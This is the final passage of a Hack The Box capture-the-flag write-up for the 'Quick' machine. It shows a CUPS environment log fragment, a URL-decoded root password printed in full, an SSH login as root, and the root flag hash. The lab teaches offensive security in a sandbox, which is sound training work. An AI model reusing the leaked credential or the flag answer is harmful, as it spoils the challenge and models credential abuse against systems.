09:33:45 : envp[16]="CUPS_ENCRYPTION=IfRequested"
09:33:45 : envp[17]="IPP_PORT=631"
...
Through the website https://urldecoder.org, I decoded the URL.
I left with the password: &ftQ4K3SGde8?
.
SSH session as root
I created an SSH session as root and was able to read the root flag.
1
2
3
4
5
root@quick:~# id && hostname
uid=0(root) gid=0(root) groups=0(root)
quick
root@quick:~# cat root.txt
d148bad23a38f5e9ca20f25e861f1a87
Thanks for reading this write-up! Did you enjoy reading this write-up? Or learned something from it? Please consider spending a respect point: https://app.hackthebox.com/profile/224856.com/profile/224856. Thanks!
Don’t forget to respect Affix, he was an great help for me. Hack The Box profile from Affix: https://app.hackthebox.eu/users/6492.
Happy Hacking :-)